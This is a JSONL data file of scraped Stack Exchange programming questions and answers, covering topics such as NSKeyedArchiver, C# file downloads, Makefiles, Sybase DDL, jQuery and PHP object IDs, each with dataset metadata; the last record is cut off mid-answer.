{"id": "hf_23d4ab209360", "question": "<p>I'm working on a puzzle game, the game engine holds a complex hierarchy of objects, from game actors to vectors to transition animations. Depending on the game state, they might add up from 10 to 1000 (in extreme cases). I've been delaying the moment until I'd have to work on the saving and loading of all that mess, as I have no experience on this, but now the moment I was fearing is about to arrive.</p>\n\n<p>Is it a good idea to use NSKeyedArchiver for this? Its concept seems powerful. That way I could rebuild the objects states, but does that include the pointers between saved objects? And how does it behave performance-wise? Will the system have time to save all these objects on disk on app termination?</p>\n", "question_body": "", "answer": "NSKeyedArchiver is quite powerful, but it will not let you retain linkages between objects (unless you add them yourself post-unarchiving). If you can/need to store your entire data set atomically, then NSKeyedArchiver is probably the way to go, but there will be some 're-hydration' involved on your part if there's anything more complex then parent-child relationships.\nWe have a complex hierarchy of data objects, we store them out to an SQLite database, and re-hook them up when we extract them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.510144"}
{"id": "hf_852388797f46", "question": "<p>Just need to use find a simple way to have AD authenticate as the login for a Sharepoint site. This fairly quick and simple to get going ? </p>\n\n<p>Thanks! </p>\n", "question_body": "", "answer": "For SharePoint 2007, see this\narticle\n.  You probably want to set it up to do Windows integrated authentication with NTLM.  Getting authentication working is probably not too hard, getting your site setup the way you want with permissions/authorization working probably isn't.  Depends on how complex your site is.  I wasn't directly involved but I know that it took a few months to get our intranet up and bug free.\nOne recommendation that I would have is to use AD groups or SharePoint groups that contain AD groups rather than individuals to control access.  It's much easier to clean up AD group membership when an individual leaves than to track down all the places where you've given them individual access (including membership in SharePoint groups).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.535320"}
{"id": "hf_97050dd6aaf1", "question": "<p>What is a simple way of downloading a file from a URL path?</p>\n", "question_body": "", "answer": "Use\n```\nSystem.Net.WebClient.DownloadFile\n```\n:\n```\n```\nstring remoteUri = \"http://www.contoso.com/library/homepage/images/\";\nstring fileName = \"ms-banner.gif\", myStringWebResource = null;\n\n// Create a new WebClient instance.\nusing (WebClient myWebClient = new WebClient())\n{\n    myStringWebResource = remoteUri + fileName;\n    // Download the Web resource and save it into the current filesystem folder.\n    myWebClient.DownloadFile(myStringWebResource, fileName);        \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.572268"}
{"id": "hf_cd8f4b1fa0eb", "question": "<p>I would like to know the simplest and most effective way to open and write data to a socket in the C programming language for network programming.</p>\n", "question_body": "", "answer": "Reading and writing from basic sockets is not any harder than reading and writing normal files (just use recv instead of read and send instead if write).  Things get a little trickey when you need to open a socket.  The reason for that is because there are many different ways to communicate using sockets (TCP, UDP, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.596602"}
{"id": "hf_3464261fecb0", "question": "<p>Is there any easy way to add a using statement to every class I create in a project without having to write</p>\n\n<pre><code>using SomeNamespace;\n</code></pre>\n\n<p>in every file?</p>\n\n<p>[edit]\nI could add a template I realise but I'm talking about doing it for every file in an existing project.</p>\n", "question_body": "", "answer": "I believe you can do something like:\n```\n```\n<system.web>\n        <pages>\n              <namespaces>\n                    <add namespace=\"System.IO\" />\n                    <add namespace=\"System.Text\"/>\n                    <add namespace=\"Westwind.Tools\"/>\n              </namespaces>\n        </pages>\n</system.web>\n```\n```\nhttp://www.west-wind.com/WebLog/posts/2287.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.648965"}
{"id": "hf_ef850d3f4f69", "question": "<p>When working with Silverlight, I've noticed that Firefox will cache the XAP file, so if I do an update, a user may be stuck using an outdated version.  Is there a way to force the browser to either re-download the XAP file every time, or maybe only force it to after an update has been published?  Or is there a setting in the Silverlight config that stops the browser from caching the XAP file altogether?</p>\n\n<p>Thanks,\njeff</p>\n", "question_body": "", "answer": "You could send HTTP headers to prevent it from caching:\n```\n```\nCache-control: no-cache\nPragma: no-cache\n```\n```\nHow you do this depends on the web server you're using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.673968"}
{"id": "hf_0ab99997b61e", "question": "<pre><code>class Ball:\n  a = []\n  def __init__(self):\n    pass\n\n  def add(self,thing):\n    self.a.append(thing)\n\n  def size(self):\n    print len(self.a)\n\nfor i in range(3):\n  foo = Ball()\n  foo.add(1)\n  foo.add(2)\n  foo.size()\n</code></pre>\n\n<p>I would expect a return of :</p>\n\n<pre><code>2\n2\n2\n</code></pre>\n\n<p>But I get :</p>\n\n<pre><code>2\n4\n6\n</code></pre>\n\n<p>Why is this? I've found that by doing a=[] in the <strong>init</strong>, I can route around this behavior, but I'm less than clear why.</p>\n", "question_body": "", "answer": "doh\nI just figured out why.\nIn the above case, the a is a class attribute, not a data attribute - those are shared by all Balls(). Commenting out the a=[] and placing it into the\ninit\nblock means that it's a data attribute instead. (And, I couldn't access it then with foo.a, which I shouldn't do anyhow.) It seems like the class attributes act like static attributes of the class, they're shared by all instances.\nWhoa.\nOne question though : CodeCompletion sucks like this. In the foo class, I can't do self.(variable), because it's not being defined automatically - it's being defined by a function. Can I define a class variable and replace it with a data variable?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.735224"}
{"id": "hf_0c1364b8d94f", "question": "<p>In asp.net mvc, when do we use:</p>\n\n\n\n<p>and</p>\n\n\n\n<p>Do we ever need to put a ; (colon) ?</p>\n", "question_body": "", "answer": "```\n<%= %>\n```\nrenders the output (string) of the contained command to the response.\n```\n<% %>\n```\nwraps executable statements (logic) in the view to control what gets executed.  You don't use semicolons in the\n```\n<%= %>\n```\nblocks, but may in the\n```\n<% %>\n```\ndepending on what statements are included.\nString rendering:\n```\n<%= Html.Encode( Model. Property ) %>\n```\nCode block:\n```\n<% Html.RenderPartial( \"ViewName\" ); %>\n```\nEDIT:\nHere's a\nlink\nto the reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.770550"}
{"id": "hf_e068cbe0d127", "question": "<p>How would make a news feed \"friendly\" database design, so that it wouldn't be extremely expensive to get all of the items (query) to put in the news feed?  The only way I can think of would involve UNIONing nearly every table (representing groups, notes, friends, etc) and getting the dates and such, that just seems like it'd be a really expensive query to run for each user, and it'd be pretty hard to cache something like that with everyone's being different.</p>\n", "question_body": "", "answer": "Firstly, consider doing a performance prototype to check your hunch that the union would be too expensive. You may be prematurely optimisizing something that is not an issue.\nIf it is a real issue, consider a table designed purely to hold the event feed data, that must be updated in parallel with the other tables.\nE.g. when you create a Note record, also create an event record in the Event table with the date, description, and user involved.\nConsider an indexing the Event table based on UserId (or UserId and Date). Also consider clearing old data when it is no longer required.\nThis isn't a normalised schema, but it may be faster if getting an event feed is a frequent operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.794885"}
{"id": "hf_276c172a3ac8", "question": "<p>In VB6, ActiveX DLL is listed as a project template but in VS 2005+ there is no such thing. Where is my good old ActiveX DLL template? Many thanks in advance.</p>\n", "question_body": "", "answer": "Try this:\nhttp://msmvps.com/blogs/pauldomag/archive/2006/08/16/107758.aspx\nIt outlines how to create an activex control and use it in a web page.  As far as I know there's really no 'ActiveX' project template since .NET does it differently.  However you can make your .Net controls visible to the COM world, which the article above illustrates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.833338"}
{"id": "hf_9aa2af31a98d", "question": "<p>I was thinking along the lines of using <code>typeid()</code> but I don't know how to ask if that type is a subclass of another class (which, by the way, is abstract)</p>\n", "question_body": "", "answer": "In c# you can simply say:\n```\n```\nif (myObj is Car) {\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.865015"}
{"id": "hf_fd89b3f28257", "question": "<p>How can I list the contents of a zipped folder in C#? For example how to know how many items are contained within a zipped folder, and what is their name?</p>\n", "question_body": "", "answer": "Check into\nSharpZipLib\n```\n```\nZipInputStream inStream = new ZipInputStream(File.OpenRead(fileName));\n\nwhile (inStream.GetNextEntry())\n{\n\n     ZipEntry entry = inStream.GetNextEntry();\n     //write out your entry's filename\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.901952"}
{"id": "hf_d2dc5409ee72", "question": "<p>Hopefully a nice simple one.</p>\n\n<p>I've got a php3 website that I want to run on php 5.2</p>\n\n<p>To start with I'd just like to have every reference to the current \"index.php3\" _within_each_file_ (recursively) changed to \"index.php\" and then move on to worrying about globals etc.</p>\n\n<p>K. Go!</p>\n\n<p>:) </p>\n\n<p>Update: Thanks a lot! I realise that my question missed the fact that the references are in each file of a website and I wanted to do it recursively in all files/folders.</p>\n", "question_body": "", "answer": "```\nsed -i 's/php3/php/g' *\n```\nAssuming you are using a unix-like operating system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.952327"}
{"id": "hf_07b65477706f", "question": "<p>Is there a good reference, or summary list, of new features in WCF 2.0/VS2010?</p>\n\n<p>I'm trying to do a justification proposal for a project, to migrate from Jabber to WCF.</p>\n", "question_body": "", "answer": "Not answering your question in particular, but WCF 2.0's not going to come out for quite some time, so I'd base my evaluation against the current WCF version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.988920"}
{"id": "hf_5b81f4951f32", "question": "<p>I am trying to add a <code>UIButton</code> at runtime however it is not visible. What am I doing wrong?</p>\n\n<pre><code>- (id)initWithFrame:(CGRect)frame {\n    if (self = [super initWithFrame:frame]) {\n        UIButton *btn = [[UIButton buttonWithType:UIButtonTypeRoundedRect] retain];\n        btn.frame = CGRectMake(0, 0, 100, 25);\n        btn.backgroundColor = [UIColor clearColor];\n        [btn setTitle:@\"Play\" forState:UIControlStateNormal];\n        [btn addTarget:self action:@selector(buttonClick:)\n        forControlEvents:UIControlEventTouchUpInside];\n        btn.center = self.center;\n        [self addSubview:btn];\n    }\n    return self;\n}\n</code></pre>\n", "question_body": "", "answer": "First, make sure the initWithFrame: method is being called. If your view is in a Nib, initWithCoder: is being called instead.\nSecond, is the button the only subview (from your code it looks like it is, but you never know). The button could be hidden behind another subview. Call bringSubviewToFront: if you need to.\nFinally, is the view itself visible? Is it big enough to show the button? Given your example, if the view is less than 100 pixels wide, the button won't show because it will get clipped by the view's bounds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.075775"}
{"id": "hf_e8dc0907ec8b", "question": "<p>Well, I must be brain-damaged, because I can't find the java source for Sun's persistence.jar or JBoss's ejb3-persistence.jar JPA package.  They <em>are</em> open-source aren't they?</p>\n\n<p>I looked all over the java.sun.com site as well as the GlassFish wiki, but came up empty.</p>\n\n<p>I'd like a src.zip or folder like Sun delivers with Java JDKs.</p>\n\n<p>Of course, I <em>really</em> don't <em>have</em> to have it, but I think it's fun to browse the source once in a while.  And it helps me to debug my code sometimes.</p>\n", "question_body": "", "answer": "The ejb3-persistence.jar contains the JPA API (javax.persistance.*) implementation which specified as part of the EJB 3.0 JSR 220 specification (the upcoming specification for JPA is JSR 317 which is now separate from EJB 3.1 spec)\nThe reference implementation is the one included with the Glassfish, I believe the one used in JBoss is the Hibernate implementation so you should be able to find the source code there.  You are free to use the one whose license satisfies your need (if you need to redistribute) although I believe they are all redistributable. For an Apache style license I recommend the one used by the Apache OpenEJB.org project (provided by the Apache Geronimo project).\nYou can browse the source here:\nhttps://github.com/apache/geronimo-specs/tree/trunk/geronimo-jpa_2.2_spec/src/main/java/javax/persistence", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.100344"}
{"id": "hf_0c241e2f840c", "question": "<p>I would like to completely reset the scroll position of a UITableView, so that every time I open it, it is displaying the top-most items. In other words, I would like to scroll the table view to the top every time it is opened.</p>\n\n<p>I tried using the following piece of code, but it looks like I misunderstood the documentation:</p>\n\n<pre><code>- (void)viewWillAppear:(BOOL)animated {\n    [tableView scrollToNearestSelectedRowAtScrollPosition:UITableViewScrollPositionTop animated:NO];\n}\n</code></pre>\n\n<p>Is this the wrong approach here?</p>\n", "question_body": "", "answer": "The method you're using scrolls to (as the method name implies) the nearest selected row. In many cases, this won't be the top row. Instead, you want to use either\n```\n```\nscrollToRowAtIndexPath:atScrollPosition:animated:\n```\n```\nor\n```\n```\nselectRowAtIndexPath:animated:scrollPosition:\n```\n```\nwhere you use the index path of the row you want to scroll to. The second method actually selects a row, the first method simply scrolls to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.137232"}
{"id": "hf_4207c683e8a1", "question": "<p>I'd like to skip the tests and create a (default) Makefile.</p>\n", "question_body": "", "answer": "Of course you can write a makefile by hand. A quick googling shows LOTS of tutorials.\nThis one\nlooks promising.\nFor the cliffs notes version, the example boils down this:\n```\n```\nCC=g++\nCFLAGS=-c -Wall\nLDFLAGS=\nSOURCES=main.cpp hello.cpp\nOBJECTS=$(SOURCES:.cpp=.o)\nEXECUTABLE=hello\n\nall: $(SOURCES) $(EXECUTABLE)\n\n$(EXECUTABLE): $(OBJECTS) \n    $(CC) $(LDFLAGS) $(OBJECTS) -o $@\n\n.cpp.o:\n    $(CC) $(CFLAGS) $< -o $@\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.165890"}
{"id": "hf_59fd43eca944", "question": "<p>I'm a PHP developer and I've made something I want to push live.</p>\n\n<p>It requires memcache, and I'm expecting a fair amount of traffic, at least at launch, so I'd like it to be fast.</p>\n\n<p>I'm really awesome at programming, but when it comes to getting hosting stuff set-up (other than run-of-the-mill shared hosting) I lack experience.</p>\n", "question_body": "", "answer": "Joyent\nmight be a good solution for you. Honestly adding memcache to a LAMP stack is ridiculously easy and you should be able to do it with relative ease. Find a good VPS provider (linode and slicehost are so good I'll recommend them without my referral code) and you should be able to just apt-get install memcache.\nTo get a more specific answer though, you really need to quantify how much a 'fair amount of traffic' will be. For some people a hit a second is a massive, for some people 300 h/s is cake.\nIf you need a hand, email me, I'd be happy to help", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.203886"}
{"id": "hf_3ff9b0a45818", "question": "<p>In java, does <code>file.delete()</code> return <code>true</code> or <code>false</code> where <code>File file</code> refers to a non-existent file?</p>\n\n<p>I realize this is kind of a basic question, and easy to very through test, but I'm getting strange results and would appreciate confirmation.</p>\n", "question_body": "", "answer": "The official javadoc:\n```\n```\nDeletes the file or directory denoted by this abstract pathname. If this pathname denotes a directory, then the directory must be empty in order to be deleted.\n\nReturns:\n    true if and only if the file or directory is successfully deleted; false otherwise \nThrows:\n    SecurityException - If a security manager exists and its SecurityManager.checkDelete(java.lang.String) method denies delete access to the file\n```\n```\nso, false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.315203"}
{"id": "hf_7c2a0d1f94bd", "question": "<p>I've connected to a MySQL database using Perl DBI.  I would like to find out which database I'm connected to.</p>\n\n<p>I don't think I can use:</p>\n\n<pre><code>$dbh-&gt;{Name}\n</code></pre>\n\n<p>because I call <a href=\"http://dev.mysql.com/doc/refman/5.0/en/use.html\" rel=\"noreferrer\"><code>USE new_database</code></a> and <code>$dbh-&gt;{Name}</code> only reports the database that I initially connected to.</p>\n\n<p>Is there any trick or do I need to keep track of the database name?</p>\n", "question_body": "", "answer": "You can ask mysql:\n```\n```\n($dbname) = (each %{$dbh->selectrow_hashref(\"show tables\")}) =~ /^Tables_in_(.*)/;\n```\n```\nUpdate: obviously select DATABASE() is a better way to do it :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.339243"}
{"id": "hf_2e3ec311a086", "question": "<p>OK, so Sybase (12.5.4) will let me do the following to DROP a table if it already exists:</p>\n\n<pre><code>IF EXISTS (\n    SELECT 1\n    FROM sysobjects\n    WHERE name = 'a_table'\n    AND type = 'U'\n)\nDROP TABLE a_table\nGO\n</code></pre>\n\n<p>But if I try to do the same with table creation, I always get warned that the table already exists, because it went ahead and tried to create my table and ignored the conditional statement. Just try running the following statement twice, you'll see what I mean:</p>\n\n<pre><code>IF NOT EXISTS (\n    SELECT 1\n    FROM sysobjects\n    WHERE name = 'a_table'\n    AND type = 'U'\n)\nCREATE TABLE a_table (\n    col1 int not null,\n    col2 int null\n)\nGO\n</code></pre>\n\n<p>Running the above produces the following error:</p>\n\n<blockquote>\n  <p><em>SQL Server Error on (localhost)\n  Error:2714 at Line:7 Message:There is\n  already an object named 'a_table' in\n  the database.</em></p>\n</blockquote>\n\n<p>What's the deal with that?!</p>\n", "question_body": "", "answer": "```\n```\nIF object_id('a_table') IS NULL\nBEGIN\n    CREATE TABLE a_table (\n        col1 int not null,\n        col2 int null\n    ) \nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.364129"}
{"id": "hf_26fd122dee61", "question": "<p>I lost my installation of Dave Gillespie's calc.el by reinstalling Cygwin.  It is not included with the default Cygwin install of Emacs.  Who is considered the master maintainer these days?  Is version 2.02f still most current?</p>\n", "question_body": "", "answer": "In the Emacs CVS tree. See\nthe calc page\nand the\nEmacs project page\n. The root of the calc subtree is\nhere\nand you can get the latest version by typing\n```\n```\ncvs -d:pserver:anonymous@cvs.sv.gnu.org:/sources/emacs co emacs/lisp/calc\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.429340"}
{"id": "hf_3f7fb9e62f8d", "question": "<p>Is it possible to declare an instance of a generic without knowing the type at design-time?</p>\n\n<p>Example:</p>\n\n<pre><code>Int i = 1;\nList&lt;typeof(i)&gt; list = new List&lt;typeof(i)&gt;();\n</code></pre>\n\n<p>where the type of i could be anything, instead of having to do:</p>\n\n<pre><code>List&lt;int&gt; list = new List&lt;int();\n</code></pre>\n", "question_body": "", "answer": "I think the best you are going to be able to do is something like this:\n```\n```\nstatic void Main(string[] args)\n{\n    int i = 1;\n    var thelist = CreateList(i);\n}\n\npublic static List<T> CreateList<T>(T t)\n{\n    return new List<T>();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.470608"}
{"id": "hf_aca1c31e41b3", "question": "<p>I have this line of JavaScript and the behavior I am seeing is that the <code>selectedLi</code> instantly disappears without \"sliding up\".  This is not the behavior that I expected.</p>\n\n<p>What should I be doing so that the <code>selectedLi</code> slides up before it is removed?</p>\n\n<pre><code>selectedLi.slideUp(\"normal\").remove();\n</code></pre>\n", "question_body": "", "answer": "Might be able to fix it by putting the call to remove in a callback arg to slideUp?\ne.g\n```\n```\nselectedLi.slideUp(\"normal\", function() { $(this).remove(); } );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.507004"}
{"id": "hf_ef27f415aba8", "question": "<p>The first thing I do when I incorporate any third party code into my application is reformat it to my personal coding preference:</p>\n\n<pre><code>// Single line comments only\n\n// I never put spaces inside my parenthesis \n-(void)myOCDMethod\n{    \n    // If an if or for statement has only one instruction, I don't use brackets\n    if(this)\n        [self that];\n    else\n        [self somethingElse];\n\n    // If I do have to use brackets, they go on their own lines so that they line up\n    if(this)\n    {\n        [self that];\n        [self andThat];\n    }\n\n    // I always put the pointer asterisk next to the instance name\n    NSObject *variable = [[NSObject alloc] init];\n\n    // I always put spaces around operators\n    if(i == 0)\n        x = 2;\n\n}\n</code></pre>\n\n<p>What OCD coding format do you use?</p>\n", "question_body": "", "answer": "I do a lot of this, with a few differences:\nI always insert spaces before and after parens:\n```\n-(void)myOCDMethod   ->   - (void) myOCDMethod\n```\nI leave braces on the same line:\n```\n```\nif (this) \n{\n  //code\n}\n```\n```\nbecomes\n```\n```\nif (this) {\n  //code\n}\n```\n```\nIf I'm feeling particularly OCD, I'll line up my locals:\n```\n```\nfloat                l1;\nNSArray              *array;\nReallyLongClassName  *object;\n```\n```\nAnd, finally, TABS, not SPACES.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.542835"}
{"id": "hf_3b175f1b14b7", "question": "<p>I'm wanting to play around with creating an LR parser generators. Does anyone know of a good (free) resource describing how to create a state machine table from a grammar? </p>\n", "question_body": "", "answer": "For a free resource, consider the Python source code for\nPLY\n- a full implementation of Lex and Yacc in Python.\nI would recommend a book, however, and you can hardly do better than get\nThe Dragon Book\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.614244"}
{"id": "hf_c63f2d98ee3e", "question": "<p>I have a DataGridView that I want to query using Linq (C# WinForm). I want to \"count\" rows where a certain criteria is met. For example, </p>\n\n<pre><code>variable1 = \"count rows where ColumnBoxAge &gt; 3 || &lt; 5\"\n\nlabel1.Text = variable1\n</code></pre>\n\n<p>How to do this in C# WinForm using Linq?</p>\n", "question_body": "", "answer": "I don't know if it could work but you can try this;\n```\n```\ndataSet.Tables[0].AsEnumerable().Where(c => c.Field<int>(\"ageColumn\") > 3 ||\n     c.Field<int>(\"ageColumn\") < 5).Count();\n```\n```\nEdit : Where instead of Select.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.663433"}
{"id": "hf_b2e0247fb352", "question": "<p>I've noticed that in some lines of rails views, this is used:</p>\n\n<pre><code>&lt;% # Code... -%&gt; \n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>&lt;% # Code... %&gt;\n</code></pre>\n\n<p>What is the difference?</p>\n", "question_body": "", "answer": "```\n```\n<ul>\n    <% @posts.each do |post| -%> \n      <li><%=post.title%></li>\n    <% end -%>\n    </ul>\n```\n```\nThere will be no new lines in between the\n```\n<ul>\n```\nand first\n```\n<li>\n```\nand the last closing\n```\n</li>\n```\nand\n```\n</ul>\n```\n. If the - was omitted, there would.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.737840"}
{"id": "hf_4709396cdbe8", "question": "<p>I'm using PHP 5.2. I'd like to find a way to output a unique id for every object, so it's easy when looking over logs to see which objects are the same.</p>\n\n<p>In Ruby, I'd just say object.object_id to get Ruby's internal identifier for the object. There doesn't seem to be an obvious way to do this in PHP.</p>\n\n<p>Is there is a built-in way of doing this? If there isn't, can you offer any other suggestions?</p>\n", "question_body": "", "answer": "Use\n```\nspl_object_hash()\n```\nfor that.\nIt returns an unique identifier for each object instance, and not the name of the class, so it seems more suitable for you.\nEdit:\nFor PHP < 5.2.x users, see\nthis answer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:10.800839"}
{"id": "hf_b3b8bd920c4f", "question": "<p>When reviewing our codebase, I found an inheritance structure that resembles the following pattern:</p>\n\n<pre><code>interface IBase\n{\n    void Method1();\n    void Method2();\n}\n\ninterface IInterface2 : IBase\n{\n    void Method3();\n}\n\nclass Class1 : IInterface2\n{\n    ...\n}\n\nclass Class2 : IInterface2\n{\n    ...\n}\n\nclass Class3 : IInterface2\n{ \n    ...\n}\n</code></pre>\n\n<p>In <code>Class2</code>, <code>Method1</code> throws <code>NotImplementedException</code>.</p>\n\n<p>Questions:</p>\n\n<ul>\n<li>What do you think in general about inheriting interfaces?</li>\n<li>Does the relationship between <code>IBase</code> and <code>Class2</code> violate the Liskov Substitution Principle?</li>\n</ul>\n", "question_body": "", "answer": "Well, first of all, I'm generally against implementing an interface by throwing NotImplementedException exceptions. It is basically like saying \"Well, this class can also function as a calculator, err, almost\".\nBut in some cases it really is the only way to do something \"the right way\", so I'm not 100% against it.\nJust something to be aware of.\nAn interface is a contract, by implementing the interface you say that you abide by the contract. If you then start negating parts of the contract, it sounds to me as the contract, or the implementation of it, was poorly thought out.\nEdit\n: After seing\nGreg Beech\n's answer: If an interface specifically says that implementations should throw these exceptions, then it's part of the contract, then I agree that the class is fully allowed to do it.\nAs for the substitution principle, it\nstates\nthat:\nLet q(x) be a property provable about objects x of type T. Then q(y) should be true for objects y of type S where S is a subtype of T.\nIn this context, it violates the principle just as much as overriding a method from a base class does, if you change what the method does in the descendant type.\nThe principle is more detailed on the wikipedia page, like the following points (parenthesis and emphasis on my comments):\nPreconditions cannot be strengthened in a subclass.\n(A precondition could be that \"the class is ready for a call to this method at this point\")\nPostconditions cannot be weakened in a subclass.\n(A postcondition could be that after calling the method, something is true about the state of the class)\nSince you have not shown the full contract of your interfaces, only the declarative part that the compiler can check, it is impossible to know wether the principle holds for your implementation of not.\nFor instance, if your Method2 has the following conditions attached to it:\nCan be called at all times\nModifies the state of the object to be ready for the next event in a chain of events\nThen throwing a NotImplementedException violates the principles.\nHowever, if the contract also states that:\nFor classes that doesn't support chains of events, this method should throw NotImplementedException or NotSupportedException\nThen it probably does not.", "tags": [], "source": "huggingface", "category": "devops", 